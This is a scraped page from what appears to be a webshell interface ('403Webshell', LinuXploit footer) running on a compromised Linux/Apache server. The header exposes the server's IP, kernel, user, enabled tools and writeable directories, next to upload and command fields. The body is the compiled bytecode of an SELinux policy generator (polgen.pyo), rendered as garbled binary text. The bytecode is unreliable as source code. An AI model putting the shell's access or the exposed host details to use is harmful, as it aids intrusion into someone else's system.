403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-selinux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-selinux/polgen.pyo
Jc+@sddkZddkZddkZddkZddkZddklZddklZddklZddkl	Z	ddkl
Z
ddklZddklZdd	kl
Z
dd
klZddklZddklZdd
klZddkZddkiZddkiZdZddkZeiedeiey#eiedddeddWn,ej
o ddkZeei d<nXgZ!ei"Z#yBe$e#Z%ei&Z'e'i(e%e'ii)Z!e%i*Wn(ei+i,de#ei-dnXdZ.dZ/dZ0dZ1dZ2dZ3dZ4dZ5dZ6dZ7d Z8dZ9dZ:dZ;dZ<d!Z=d"Z>d#Z?d$Z@d%ZAd&ZBd'ZChZDeEd(eDe9<eEd)eDe:<eEd*eDe;<eEd+eDe=<eEd,eDe<<eEd-eDe?<eEd.eDe><eEd/eDe@<eEd0eDeA<eEd1eDeC<e9e:e;e<e=gZFe>e?e@eAeBeCgZGd2ZHd3fd4YZId5ZJd6ZKddkZddkZddkLZLddkMZMddkNZNddkOZOd7ZPd8ZQd9ZReSd:joe9ZTeLiLeiUdd;d<d=d>g\ZVZWxeVD]\ZXZYeXd?jp
eXd@joQy)eZeYeDjoeRdAeYnWneRdAeYnXeZeYZTneXdBjp
eXdCjo
e[Z\neXdDjp
eXdEjoeRdFnqbWe]eWdjoeReEdGnei^i_eWdi`dHdZaeWdZbeIeaeTZcecidebxePebD]sZexjecifD]_ZgegdIjoqneeihego5ei^iieeoecijeenecikeenqWqWei^iidJeaoecijdJeanei^iidKeaoecildLeaneQebZmxIemD]AZnx8ecimD]-ZgenihegodMecimegdUnqWqWecioGHei-dndS(NiN(t
executable(tboolean(tetc_rw(t	var_spool(tvar_lib(tvar_log(tvar_run(ttmp(trw(tnetwork(tscript(tusertpolicycoreutilss/usr/share/localet	localedirtunicodetcodesetsutf-8t_s#could not open interface info [%s]
icCshg}tidi}x<|D]4}|djo!|ido|i|q"q"W|i|S(Ns/usr/bin/seinfo -rtobject_rt_r(tcommandst	getoutputtsplittendswithtappendtsort(trolestoutputtr((s*/usr/share/system-config-selinux/polgen.pyt
get_all_rolesJs
cCscg}yOtidi}x3|D]+}|ido|i|d q%q%WWnnX|S(Ns/usr/bin/seinfo --typet_ti(RRRRR(t	all_typesRtt((s*/usr/share/system-config-selinux/polgen.pyt
get_all_typesSscCsg}t}|ixo|D]g}tid|}t|djo<ttid|ddjo|i|dqq q W|S(Ns(.*)%ss_exec$is_initrc$s
(.*)_exec$s(.*)_initrc$(R RtretfindalltlenR(tall_domainsttypestitm((s*/usr/share/system-config-selinux/polgen.pytget_all_domains_s	
#cCsuygg}tid\}}|djo;|id}x)|D]}|i|idqAWnWnnX|S(Nssemodule -l 2>/dev/nullis
(RtgetstatusoutputRR(tall_modulestrcRtlR&((s*/usr/share/system-config-selinux/polgen.pytget_all_modulesjs
#cCs@tiii}|id|id|i|S(Ntsystem_utroot(tseobjecttseluserRecordstget_alltkeystremoveR(tusers((s*/usr/share/system-config-selinux/polgen.pyt
get_all_usersws



iiis_admin$s_role$iiiiii	i
sStandard Init DaemonsDBUS System DaemonsInternet Services DaemonsWeb Application/Script (CGI)sUser ApplicationsMinimal Terminal User RolesMinimal X Windows User Roles	User RolesAdmin User RolesRoot Admin User RolecCsY|djogSd	}yg}x|idD]}|id}t|djo
tnt|djo$t|d}t|d}n8t|d}t|d}||jo
tnxLt||dD]7}|djp
||jo
tn|i|qWq1W|SWn)tj
ottd|nXdS(
Ntiit,t-iis8Ports must be numbers or ranges of numbers from 1 to %d i(RR#t
ValueErrortinttrangeRR(tportstmax_portttemptaRtbegintendtp((s*/usr/share/system-config-selinux/polgen.pytverify_portss2




tpolicycBsGeZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZ dZ!d Z"d!Z#d"Z$d#Z%d$Z&d%Z'd&Z(d'Z)d(Z*d)Z+d*Z,d+Z-d,Z.d-Z/d.Z0d/Z1d0Z2d1Z3d2Z4d3Z5d4Z6d5Z7d6Z8d7Z9d8Z:d9Z;d:Z<d;Z=d<Z>d=Z?d>Z@d?ZAd@ZBdAZCdBZDdCZEdDZFdEZGdFZHdGZIdHZJdIZKdJZLdKZMdLZNdMZOdNZPdOZQdPZRdQZSdRZTdSZUdTZVdUZWdVZXdWZYdXZZdYZ[dZZ\d[d\Z]RS(]cCsti}|i|_h|_d|id<d|id<d|id<d|id<d|id<d|id<d|id	<d|id
<d|id<d|id
<d|id<d|id<d|id<d|id<d|id<d|id<d|id<d|id<d|id<d|id <d!|id"<d#|id$<d%|id&<d'|id(<d)|id*<d+|id,<d-|id.<d/|id0<d1|id2<d3|id4<d5|id6<d7|id8<d9|id:<d;|id<<d=|id><d?|id@<dA|idB<dC|idD<dE|idF<dG|idH<dI|idJ<dK|idL<dM|idN<dO|idP<dQ|idR<dS|idT<dU|idV<dW|idX<dY|idZ<d[|id\<d]|id^<d_|id`<da|idb<dc|idd<de|idf<dg|idh<di|idj<dk|idl<dm|idn<do|idp<dq|idr<ds|idt<du|idv<dw|idx<dy|idz<d{|id|<d}|id~<d|id<d|id<d|id<d|id<d|id<d|id<d|id<d|id<h|_dgtg|id<dgtg|id<dgtg|id<dgt	g|id<dgt
g|id<dgtg|id<dgtg|id<|i
|if|i|if|i|if|i|if|i|if|i|if|i|if|i|if|i|if|i|if|i|i ff|_!|djot"t#dn|t$jod||_%n
||_%||_&g|_'g|_(||_)d|_*d|_+t,t,t,gg|_-t,t,t,gg|_.t,t,t,gg|_/t,t,t,gg|_0t,|_1t,|_2t,|_3t,|_4t,|_5t,|_6t,|_7t,|_8t,|_9t,|_:h|_;h|_<h|_=g|_>g|_?t,|_@t,|_Ag|_Bg|_Cg|_Dg|_EtF|_GdS(Nsset_use_kerberos(True)topenlogsset_use_kerb_rcache(True)sset_use_syslog(True)tkrbsset_manage_krb5_rcache(True)tgss_accept_sec_contexttkrb5_verify_init_credstkrb5_rd_reqt__syslog_chksset_use_uid(True)tgetpwnamtgetpwuidsset_use_dbus(True)tdbus_sset_use_pam(True)tpam_sset_use_audit(True)sadd_process('fork')tforksadd_process('transition')t
transitionsadd_process('sigchld')tsigchldsadd_process('sigkill')tsigkillsadd_process('sigstop')tsigstopsadd_process('signull')tsignullsadd_process('signal')tsignalsadd_process('ptrace')tptracesadd_process('getsched')tgetschedsadd_process('setsched')tsetschedsadd_process('getsession')t
getsessionsadd_process('getpgid')tgetpgidsadd_process('setpgid')tsetpgidsadd_process('getcap')tgetcapsadd_process('setcap')tsetcapsadd_process('share')tsharesadd_process('getattr')tgetattrsadd_process('setexec')tsetexecsadd_process('setfscreate')tsetfscreatesadd_process('noatsecure')t
noatsecuresadd_process('siginh')tsiginhsadd_process('setrlimit')t	setrlimitsadd_process('rlimitinh')t	rlimitinhsadd_process('dyntransition')t
dyntransitionsadd_process('setcurrent')t
setcurrentsadd_process('execmem')texecmemsadd_process('execstack')t	execstacksadd_process('execheap')texecheapsadd_process('setkeycreate')tsetkeycreatesadd_process('setsockcreate')t
setsockcreatesadd_capability('chown')tchownsadd_capability('dac_override')tdac_overrides!add_capability('dac_read_search')tdac_read_searchsadd_capability('fowner')tfownersadd_capability('fsetid')tfsetidsadd_capability('kill')tkillsadd_capability('setgid')tsetgidsadd_capability('setuid')tsetuidsadd_capability('setpcap')tsetpcaps!add_capability('linux_immutable')tlinux_immutables"add_capability('net_bind_service')tnet_bind_servicesadd_capability('net_broadcast')t
net_broadcastsadd_capability('net_admin')t	net_adminsadd_capability('net_raw')tnet_rawsadd_capability('ipc_lock')tipc_locksadd_capability('ipc_owner')t	ipc_ownersadd_capability('sys_module')t
sys_modulesadd_capability('sys_rawio')t	sys_rawiosadd_capability('sys_chroot')t
sys_chrootsadd_capability('sys_ptrace')t
sys_ptracesadd_capability('sys_pacct')t	sys_pacctsadd_capability('sys_admin')t	sys_adminsadd_capability('sys_boot')tsys_bootsadd_capability('sys_nice')tsys_nicesadd_capability('sys_resource')tsys_resourcesadd_capability('sys_time')tsys_times add_capability('sys_tty_config')tsys_tty_configsadd_capability('mknod')tmknodsadd_capability('lease')tleasesadd_capability('audit_write')taudit_writesadd_capability('audit_control')t
audit_controlsadd_capability('setfcap')tsetfcapRRRs/etcRs
/var/spoolRs/var/libRs/var/logRs/var/runR7s4You must enter a name for your confined process/usershttpd_%s_script(HR0tportRecordsR2R=tsymbolstDEFAULT_DIRSRRRRRRRtgenerate_daemon_typestgenerate_daemon_rulestgenerate_dbusd_typestgenerate_dbusd_rulestgenerate_inetd_typestgenerate_inetd_rulestgenerate_userapp_typestgenerate_userapp_rulestgenerate_cgi_typestgenerate_cgi_rulestgenerate_x_login_user_typestgenerate_x_login_user_rulestgenerate_min_login_user_typestgenerate_login_user_rulestgenerate_login_user_typestgenerate_admin_user_typestgenerate_existing_user_typestgenerate_existing_user_rulestgenerate_root_user_typestgenerate_root_user_rulest
DEFAULT_TYPESR:RtCGItnamet	file_nametcapabilitiest	processesttypet
initscripttprogramtFalsetin_tcptin_udptout_tcptout_udptuse_tmptuse_uidt
use_syslogtuse_kerberostmanage_krb5_rcachetuse_pamtuse_dbust	use_audittuse_terminaltuse_mailtbooleanstfilestdirstfound_tcp_portstfound_udp_portst
need_tcp_typet
need_udp_typet
admin_domainsttransition_domainsttransition_usersRRt	all_roles(tselfRRR=((s*/usr/share/system-config-selinux/polgen.pyt__init__s	










































































	

																												cCs5|tp*|tp|tpt|tdjS(Ni(tALLtRESERVEDt
UNRESERVEDR#tPORTS(RR,((s*/usr/share/system-config-selinux/polgen.pyt
__isnetsetOscCs
||_dS(N(R(RR((s*/usr/share/system-config-selinux/polgen.pytset_admin_domainsRscCs
||_dS(N(R(RR((s*/usr/share/system-config-selinux/polgen.pytset_admin_rolesUscCs
||_dS(N(R(RR((s*/usr/share/system-config-selinux/polgen.pytset_transition_domainsXscCs
||_dS(N(R(RR((s*/usr/share/system-config-selinux/polgen.pytset_transition_users[scCs|i|iS(N(t_policy__isnetsetR(R((s*/usr/share/system-config-selinux/polgen.pyt
use_in_udp^scCs|i|iS(N(RR(R((s*/usr/share/system-config-selinux/polgen.pytuse_out_udpascCs|ip
|iS(N(RR(R((s*/usr/share/system-config-selinux/polgen.pytuse_udpdscCs|i|iS(N(RR(R((s*/usr/share/system-config-selinux/polgen.pyt
use_in_tcpgscCs|i|iS(N(RR(R((s*/usr/share/system-config-selinux/polgen.pytuse_out_tcpjscCs|ip
|iS(N(RR(R((s*/usr/share/system-config-selinux/polgen.pytuse_tcpmscCs|ip
|iS(N(RR(R((s*/usr/share/system-config-selinux/polgen.pytuse_networkpscCsPxI|iiD]8\}}||jo||jo|i||fSqWdS(N(R=R3tNone(RtportRARB((s*/usr/share/system-config-selinux/polgen.pyt	find_portss
cCs3|itjottdn||_dS(Ns&USER Types are not allowed executables(RtAPPLICATIONSR:RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_programyscCs3|itjottdn||_dS(Ns'Only DAEMON apps can use an init script(RtDAEMONR:RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_init_scriptscCs|||t|g|_dS(N(RDR(Rtalltreservedt
unreservedR=((s*/usr/share/system-config-selinux/polgen.pyt
set_in_tcpscCs|||t|g|_dS(N(RDR(RRRRR=((s*/usr/share/system-config-selinux/polgen.pyt
set_in_udpscCs|ttt|g|_dS(N(RRDR(RRR=((s*/usr/share/system-config-selinux/polgen.pytset_out_tcpscCs|ttt|g|_dS(N(RRDR(RRR=((s*/usr/share/system-config-selinux/polgen.pytset_out_udpscCs=|tjo#|tjottdn||_dS(Ns#use_syslog must be a boolean value (tTrueRR:RR(Rtval((s*/usr/share/system-config-selinux/polgen.pytset_use_syslogscCs=|tjo#|tjottdn||_dS(Ns%use_kerberos must be a boolean value (RRR:RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_use_kerberosscCs=|tjo#|tjottdn||_dS(Ns+manage_krb5_rcache must be a boolean value (RRR:RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_manage_krb5_rcachescCs|tj|_dS(N(RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_use_pamscCs|tj|_dS(N(RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_use_dbusscCs|tj|_dS(N(RR(RR((s*/usr/share/system-config-selinux/polgen.pyt
set_use_auditscCs|tj|_dS(N(RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_use_terminalscCs|tj|_dS(N(RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_use_mailscCs^|itjottdn|o|iddidng|idd<dS(Ns'USER Types automatically get a tmp typeRis/tmp(RRR:RRR(RR((s*/usr/share/system-config-selinux/polgen.pytset_use_tmps
cCs|tj|_dS(N(RR(RR((s*/usr/share/system-config-selinux/polgen.pytset_use_uidscCs,|iotid|itiSdSdS(NtTEMPLATETYPER7(RR!tsubRRtte_uid_rules(R((s*/usr/share/system-config-selinux/polgen.pytgenerate_uid_ruless
cCs,|iotid|itiSdSdS(NRR7(RR!RRRtte_syslog_rules(R((s*/usr/share/system-config-selinux/polgen.pytgenerate_syslog_ruless
cCs,|iotid|itiSdSdS(NRR7(RR!RRRtte_kerberos_rules(R((s*/usr/share/system-config-selinux/polgen.pytgenerate_kerberos_ruless
cCs,|iotid|itiSdSdS(NRR7(RR!RRRtte_manage_krb5_rcache_rules(R((s*/usr/share/system-config-selinux/polgen.pyt!generate_manage_krb5_rcache_ruless
cCs3d}|iotid|iti}n|S(NR7R(RR!RRRtte_pam_rules(Rtnewte((s*/usr/share/system-config-selinux/polgen.pytgenerate_pam_ruless
cCs3d}|iotid|iti}n|S(NR7R(RR!RRRtte_audit_rules(RR((s*/usr/share/system-config-selinux/polgen.pytgenerate_audit_ruless
cCs3d}|iotid|iti}n|S(NR7R(RR!RRRt
te_dbus_rules(RR((s*/usr/share/system-config-selinux/polgen.pytgenerate_dbus_ruless
cCs3d}|iotid|iti}n|S(NR7R(RR!RRRt
te_mail_rules(RR((s*/usr/share/system-config-selinux/polgen.pytgenerate_mail_ruless
cCs]d}d|||f}|tjod||if}nd||i|||f}|S(NR7scorenet_%s_%s_%ss	%s(%s_t)
sD
gen_require(`
    type %s_t;
')
allow %s_t %s_t:%s_socket name_%s;
(tmethodsR(Rtprotocoltactiont	port_nametlinetmethod((s*/usr/share/system-config-selinux/polgen.pytgenerate_network_actions
c
Csx|itD]|}|it|}|djo
t|_q|dd }|idd|}||ijo|ii	|qqWx|i
tD]|}|it|}|djo
t|_q|dd }|idd|}||ijo|ii	|qqWx|itD]|}|it|}|djo
t|_q*|dd }|idd|}||i
jo|i
i	|q*q*W|itjp|itjotid|itiSdS(	NiittcptbindtconnecttudpRR7(RRRR;RRRRRRRRRRR!RRR	t
te_port_types(RR&trecRR((s*/usr/share/system-config-selinux/polgen.pytgenerate_network_typess<





 cCsqxK|iD]@}|i|djo$|i|di||i|Sq
W|iddi||idS(NiiR(RtfindR(Rtfiletd((s*/usr/share/system-config-selinux/polgen.pyt__find_path"s
cCs|ii|dS(N(RR(Rt
capability((s*/usr/share/system-config-selinux/polgen.pytadd_capability*scCs|ii|dS(N(RR(Rtprocess((s*/usr/share/system-config-selinux/polgen.pytadd_process-scCs||i|<dS(N(R(RRtdescription((s*/usr/share/system-config-selinux/polgen.pytadd_boolean0scCs|i||i|<dS(N(t_policy__find_pathR(RR((s*/usr/share/system-config-selinux/polgen.pytadd_file3scCs|i||i|<dS(N(R R(RR((s*/usr/share/system-config-selinux/polgen.pytadd_dir6scCsPd}|iit|idjo#d|idi|if}n|S(NR7is#allow %s_t self:capability { %s };
t (RRR#Rtjoin(RR((s*/usr/share/system-config-selinux/polgen.pytgenerate_capabilities9s

#cCsPd}|iit|idjo#d|idi|if}n|S(NR7is allow %s_t self:process { %s };
R#(RRR#RR$(RR((s*/usr/share/system-config-selinux/polgen.pytgenerate_process@s

#cCsd}|iod}|tid|iti7}|io/|d7}|tid|iti7}|ioj|tid|iti	7}|i
o=t|it
djo#|tid|iti7}qn|i
o=t|it
djo#|tid|iti7}n|ito#|tid|iti7}n|ito#|tid|iti7}n|ito#|tid|iti7}n|ito#|tid|iti7}n|ito#|tid|iti7}n|ito#|tid|iti7}nx|iD]}||7}q\Wn|io;|d7}|tid|iti7}|io#|tid|iti7}n|io#|tid|iti 7}n|i!to#|tid|iti"7}n|i!to#|tid|iti#7}n|i!to#|tid|iti$7}nx|i%D]}||7}qWqn|S(NR7s
Ri(&RR!RRR	t
te_networkRtte_tcpRt	te_in_tcpRR#RRtte_in_need_port_tcpRtte_out_need_port_tcpRtte_in_all_ports_tcpRtte_in_reserved_ports_tcpRtte_in_unreserved_ports_tcptte_out_all_ports_tcptte_out_reserved_ports_tcptte_out_unreserved_ports_tcpRRtte_udpRtte_in_need_port_udpRt	te_in_udpRtte_in_all_ports_udptte_in_reserved_ports_udptte_in_unreserved_ports_udpR(RRR&((s*/usr/share/system-config-selinux/polgen.pytgenerate_network_rulesHsZ



$'$#######



#
####
cCsd}xE|iD]:}tid|iti}|tid||7}qW|itjoYxV|iD]G}tid|it	i
}|tid|idd|7}qhWn|S(NR7RtAPPLICATIONtUSERt_ui(RR!RRRtte_transition_rulesRR:RRtte_userapp_trans_rulesR(RRtappRtuR?((s*/usr/share/system-config-selinux/polgen.pytgenerate_transition_ruless

.cCsd}|itjo|tid|iti7}xE|iD]:}tid|iti}|tid||7}q?Wxt|i	D]e}|i
dd}|d|ijo8tid|iti}|tid||7}qqWn|S(NR7RR9R;iRR:(
RtRUSERR!RRRtte_admin_rulesRtte_admin_domain_rulesRRRtte_admin_trans_rules(RRR>RR?trole((s*/usr/share/system-config-selinux/polgen.pytgenerate_admin_ruless

%cCs3d}|iotid|iti}n|S(NR7R(RR!RRRt
if_dbus_rules(Rtnewif((s*/usr/share/system-config-selinux/polgen.pytgenerate_dbus_ifs
cCsd}|idjo#|tid|iti7}nx]|iD]R}t|i|ddjo.|tid|i|i|di7}qCqCW|djoItid|iti	}||7}|tid|iti
7}|SdS(NR7Riii(RR!RRRtif_initscript_adminRR#tif_admin_rulestif_begin_admintif_end_admin(RRHRtret((s*/usr/share/system-config-selinux/polgen.pytgenerate_admin_ifs#
2

cCstid|itiS(NR(R!RRRtte_cgi_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_userapp_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_inetd_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_dbusd_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_min_login_user_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_login_user_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_admin_user_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_existing_user_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_x_login_user_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_root_user_types(R((s*/usr/share/system-config-selinux/polgen.pyRscCsRtid|iti}|idjo#|tid|iti7}n|S(NRR7(R!RRRtte_daemon_typesRtte_initscript_types(RR((s*/usr/share/system-config-selinux/polgen.pyRs#cCs,|iotid|itiSdSdS(NRR7(RR!RRRtte_types(R((s*/usr/share/system-config-selinux/polgen.pytgenerate_tmp_typess
cCsVd}xI|iD]>}tid|ti}|tid|i||7}qW|S(NR7tBOOLEANtDESCRIPTION(RR!RRt
te_boolean(RRtbR((s*/usr/share/system-config-selinux/polgen.pytgenerate_booleanss
$cCs:d}x-|iD]"}|tid|ti7}qW|S(NR7R^(RR!RRtte_rules(RRRa((s*/usr/share/system-config-selinux/polgen.pytgenerate_boolean_ruless

 cCstid|itiS(NR(R!RRRRP(R((s*/usr/share/system-config-selinux/polgen.pytgenerate_cgi_tescCstid|iti}|S(NR(R!RRRtte_daemon_rules(RRH((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_login_user_rules(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_existing_user_rules(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_x_login_user_rules(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|iti}|S(NR(R!RRRtte_root_user_rules(RR((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_userapp_rules(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_inetd_rules(R((s*/usr/share/system-config-selinux/polgen.pyRscCstid|itiS(NR(R!RRRtte_dbusd_rules(R((s*/usr/share/system-config-selinux/polgen.pyRscCs,|iotid|itiSdSdS(NRR7(RR!RRRRc(R((s*/usr/share/system-config-selinux/polgen.pytgenerate_tmp_rules
s
cCs)d}|tid|iti7}|S(NR7R(R!RRRtte_cgi_rules(RR((s*/usr/share/system-config-selinux/polgen.pyRscCsCd}|ip|itjotid|iti}n|S(NR7R(RRR:R!RRRtif_user_program_rules(RRH((s*/usr/share/system-config-selinux/polgen.pytgenerate_user_ifscCs~d}|idjo#|tid|iti7}n|idjo#|tid|iti7}nx|iD]}t	|i|ddjo|tid|i|i|di
7}x|i|dD]h}tii
|oOtiti|tio/|tid|i|i|di7}PqqWqvqvW||i7}||i7}||i7}|S(NR7Riii(RR!RRRtif_program_rulesRtif_initscript_rulesRR#tif_rulestostpathtexistststattS_ISSOCKtST_MODEtif_stream_rulesRqRIRO(RRHRR&((s*/usr/share/system-config-selinux/polgen.pytgenerate_ifs$##
*3*cCs|i|idS(Ni(RR(R((s*/usr/share/system-config-selinux/polgen.pytgenerate_default_types0scCs|i|idS(Ni(RR(R((s*/usr/share/system-config-selinux/polgen.pytgenerate_default_rules3scCsd}|itttttfjod}t|idjok|ti	d|i
ti7}xI|iD]:}ti	d|i
ti
}|ti	d||7}qjWqn|S(NR7iRtROLE(RtTUSERtXUSERtAUSERtLUSERtEUSERR#RR!RRRtte_newrole_rulestte_roles_rules(RRRRER((s*/usr/share/system-config-selinux/polgen.pytgenerate_roles_rules6s
%c
Cs|i}x~|iD]s}t|i|ddjoO|itjp
|djo.|tid|i|i|di7}qqqW|d|i7}||i	7}||i
7}||i7}||i7}||i
7}||i7}||i7}x|iD]}t|i|ddjo|tid|i|i|di7}x|i|dD]h}tii|oOtiti|tio/|tid|i|i|di7}PqxqxWqqW||i7}||i7}||i7}||i7}||i7}||i7}||i7}||i7}||i 7}||i!7}||i"7}||i#7}||i$7}|S(NiiRRisA
########################################
#
# %s local policy
#

(%R}RR#RRR!RRR\R%R&RR]RbR~RdRcRuRvRwRxRyRztte_stream_rulesR8RnRRRRRRRR@RFRR(RRRR&((s*/usr/share/system-config-selinux/polgen.pytgenerate_teAsL
6
*3*cCsd}|idjottdntid|iti}|tid|i|7}|idjo;tid|iti	}|tid|i|7}nx|i
iD]}ti
i|oJtiti|tio*tid|i|i
|di}n'tid|i|i
|di}tid||}|tid|i
|d|7}qWxv|iiD]e}tid|i|i|di}tid||}|tid|i|d|7}qW|S(	NR7s<You must enter the executable path for your confined processt
EXECUTABLERitFILENAMEtFILETYPEi(RR:RR!RRt
fc_programRRt
fc_initscriptRR3RuRvRwRxRyRztfc_sock_filetfc_fileRtfc_dir(Rtnewfctt1R&tt2((s*/usr/share/system-config-selinux/polgen.pytgenerate_fcos* 3*&(&(cCs/d}|itttttfjod}x|iD]}|d|7}q5W|djo|d7}n|itjotid|i	t
i}ntid|i	t
i}|tid||7}n|it
joLxI|iD]:}tid|i	t
i}|tid||7}qWn|S(NR7s %s_rs	 system_rRtROLESR:(RRRRRRRR!RRR
teusersR5RARtadmin_trans(RtnewshRRERR?((s*/usr/share/system-config-selinux/polgen.pytgenerate_user_shs$


!cCs3tid|iti}|itjo tidd|i|}ntid|i|}|idjo#|tid|iti7}n|i	djo#|tid|i	ti7}nx3|i
iD]"}|tid|ti7}qWx3|iiD]"}|tid|ti7}qWxr|i
t|itD]X}|i|djo<tidd|ti}|tid|i|7}qNqNWxr|it|itD]X}|i|djo<tidd|ti}|tid|i|7}qqW||i7}|S(NRtTEMPLATEFILEsmy%sR7RtPORTNUMs%d(R!RRR
tcompileRRRt
restoreconRRR3RRRRRRt	tcp_portsRRRt	udp_portsR(RR?RR&R((s*/usr/share/system-config-selinux/polgen.pytgenerate_shs4 ##  $$cCsj|itjod||if}nd||if}t|d}|i|i|i|S(Ns
%s/my%s.tes%s/%s.tetw(RRRtopentwriteRtclose(Rtout_dirttefiletfd((s*/usr/share/system-config-selinux/polgen.pytwrite_tes
cCsz|itjod||if}nd||if}t|d}|i|i|iti|d|S(Ns
%s/my%s.shs%s/%s.shRi(	RRRRRRRRutchmod(RRtshfileR((s*/usr/share/system-config-selinux/polgen.pytwrite_shs
cCsj|itjod||if}nd||if}t|d}|i|i|i|S(Ns
%s/my%s.ifs%s/%s.ifR(RRRRRR|R(RRtiffileR((s*/usr/share/system-config-selinux/polgen.pytwrite_ifs
cCs~|itjod||if}nd||if}|itjo0t|d}|i|i|in|S(Ns
%s/my%s.fcs%s/%s.fcR(RRRRRRRR(RRtfcfileR((s*/usr/share/system-config-selinux/polgen.pytwrite_fcst.cCsd}|dtd|i|f7}|dtd|i|f7}|dtd|i|f7}|dtd|i|f7}|S(NsCreated the following files:
s	%-25s %s
sType Enforcement filesInterface filesFile Contexts filesSetup Script(RRRRR(RRtout((s*/usr/share/system-config-selinux/polgen.pytgenerates####(^t__name__t
__module__RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR RRRR!R"R%R&R8R@RFRIRORRRRRRRRRRRR]RbRdReRRRRRRRRRnRRqR|R}R~RRRRRRRRRR(((s*/usr/share/system-config-selinux/polgen.pyREs																																									&									9	
																																		.				
		
	cCsMtiidtidtiid|tiitiddS(Ns%s: is%s
i(tsyststderrRtargvtflushtexit(terror((s*/usr/share/system-config-selinux/polgen.pyt	errorExits
cCstdt}|id|idddd|idddd|it|it|i	t|i
t|idd|idGHtd	t
}|id
|idddd|idddd|it|it|i	t|i
t|id|idd|id
dg|idGHtdt}|id|id|id|idddd|it|it|i	t|i
t|id|id|idGHtdt}|id|idddd|idddd|it|it|i	t|i
t|id|id|id|id|id|id|id|it|i	t|i
t|it|it|it|it|idd|idGHtdt}|id|idddd|idddd|it|it|i	t|i
t|idGHtd t}|id!g|id"g|id#d$|idGHtd%t}|idddd&|idddd|id'g|idGHtd"t}|id(d)g|idGHdS(*Ntmycgis/var/www/cgi-bin/cgiiis512, 55000-55000t1513t8000s/var/tmptmyusers/usr/bin/myusert513s/var/lib/myuser/myuser.socktunconfined_utstaff_utmyrwhos/usr/sbin/myrwhods/etc/init.d/myrwhods	/etc/nasds/var/run/myrwhos/var/lib/myrwhotmyinetds/usr/bin/mytests/var/lib/mysql/mysql.socks/var/run/rpcbind.socks/var/run/daemon.pubs/var/log/daemon.logs/var/lib/daemons/etc/daemons/etc/daemon/specialtmydbuss/usr/libexec/mydbustmytusertsudotmydbadmtallow_mytuser_setuids.Allow mytuser users to run setuid applicationstmyxusert28920tmozillat
postgresqltmysql( RERRRRRRRRRRRRR:R!RRRR"tINETDRRRRtDBUSRRRRRRAR(tmypolicy((s*/usr/share/system-config-selinux/polgen.pyttests











































cCs3tid|}|ii}|i|S(Nsrpm -qlf %s(RutpopentreadRR(tcmdRR((s*/usr/share/system-config-selinux/polgen.pyt
gen_writeableSs
cCs3tid|}|ii}|i|S(Nsnm -D %s | grep U(RuRRRR(RRR((s*/usr/share/system-config-selinux/polgen.pytgen_symbolsYs
cCsPtd|GHti}x!|D]}d|t|fGHq"WtiddS(Ns7
%s

polgen [ -m ] [ -t type ] executable
valid Types:
s	%s	%si(RtpoltypeR3RR(tmsgR3R&((s*/usr/share/system-config-selinux/polgen.pytusage_st__main__sht:mstype=tmountthelps-ts--typesinvalid type %ss-ms--mounts-hs--helpR7sExecutable requiredR9s/etcs/var/run/%s.pids/etc/rc.d/init.d/%ss/etc/rc\.d/init\.d/%ssmypolicy.%s(pRuRRxR!Rt	templatesRRRRRRRRRR	R
RR0tsepolgen.interfacest
interfacestsepolgen.defaultstdefaultstPROGNAMEtgettexttbindtextdomaint
textdomaintinstallRtIOErrort__builtin__Rt__dict__Rtinterface_infotfnRRtInterfaceSettifst	from_fileR3RRRRRR R(R-R6RRRRtADMIN_TRANSITION_INTERFACEtUSER_TRANSITION_INTERFACERRRR:RRRRRRRARRRtUSERSRDRERRtgetopttsockettrandomtfcntlRRRRtsetypeRtgoptstcmdstoR@R;Rt	mount_indR#RvtbasenametreplaceRRRRtfRRat
startswithtisfileR!R"RRtsR(((s*/usr/share/system-config-selinux/polgen.pyt<module>s$

					
		5		\H			

"







Youez - 2016 - github.com/yon3zu
LinuXploit